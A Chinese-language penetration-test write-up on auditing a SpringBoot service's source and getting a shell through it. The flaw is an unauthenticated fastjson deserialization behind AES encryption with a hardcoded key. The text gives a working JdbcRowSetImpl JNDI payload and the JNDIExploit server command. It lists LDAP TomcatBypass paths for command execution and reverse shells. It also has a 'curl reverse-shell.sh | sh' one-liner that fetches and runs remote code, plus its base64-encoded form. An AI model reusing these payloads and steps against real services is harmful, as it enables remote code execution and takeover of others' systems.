实战从代码审计到Getshell

0x01

在对某目标的渗透中，发现某端口开放了一个SpringBoot服务

扫描SpringBoot的常见信息泄漏的路由，如/actuator、/env、/swagger-ui.html等都未果。后续通过其他方式拿到了目标服务的源码，需要进行代码审计。

0x02 Code Audit

对于Java应用，审计首先看lib目录下的依赖是否有常见的如Shiro、FastJson等高风险依赖，解压XXXX.RELEASE.jar, SpringBoot应用的lib目录在BOOT-INF/lib下，直观发现使用了fastjon-1.2.4.jar, 很有可能存在FastJson反序列化漏洞，但是使用有漏洞的版本并不代表应用一定存在该漏洞，具体还得看开发的使用方式，是否对客户端可控参数值直接进行了反序列化操作，同时接口还得存在身份认证缺陷。

将解压后的目录使用IDEA打开，首先得确定路由，SpringBoot应用的路由一般在controller目录中定义，本应用中的controller目录如下：

那么如何寻找可能存在反序列化的点，两个条件

• class中引入了fastjson的使用，即在代码前部有import com.alibaba.fastjson.JSON;和import com.alibaba.fastjson.JSONObject;

• class有对客户端可控参数值进行了反序列化操作，可以搜索parse关键字来判定

在本应用中，恰好存在Call**Controller.class同时满足以上两条件，二层路由/call****/send****直接对getJSON()函数的返回值jsonstr进行了反序列化操作，同时该路由无须身份认证即可访问。

查看getJSON()代码，其对用户可控输入调用AESUtil.decryptAES函数进行了AES解密操作，同时解密密钥为硬编码的v**************x.

查看AESUtil.decryptAES函数，首先对输入的密文进行了base64解码，然后使用CBC作为分组模式，PKCS5作为分组Padding方法，初始化向量为硬编码的1**************g.

至此，整个漏洞利用过程已经清晰：

FastJson payload → AES加密 → Base64编码 → 发送到服务端 → Base64解码 → AES解密 → 反序列化字符串 → 漏洞利用成功

0x03 Getshell

Payload

Payload使用：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:389/obj","autoCommit":true}

JNDI

JNDI注入服务端选择使用 https://github.com/feihong-cs/JNDIExploit 搭建，命令：

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i VPS_IP

经过多次测试

• ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

• ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]

可以利用成功，我们选择ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd].

将反弹shell命令curl https://reverse-shell.sh/[ip]:[port] | sh进行base64编码，加密前的Payload如下

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[ip]:1389/TomcatBypass/Command/Base64/Y3VybCBodHRwczovL3Jldm****************************6Nzc3NyB8IHNo","autoCommit":true}

AES Encrypt

AES加密可选取https://gchq.github.io/CyberChef, 填入key, iv, 选中cbc模式即可

Exploit

发包

LDAP注入

反弹shell成功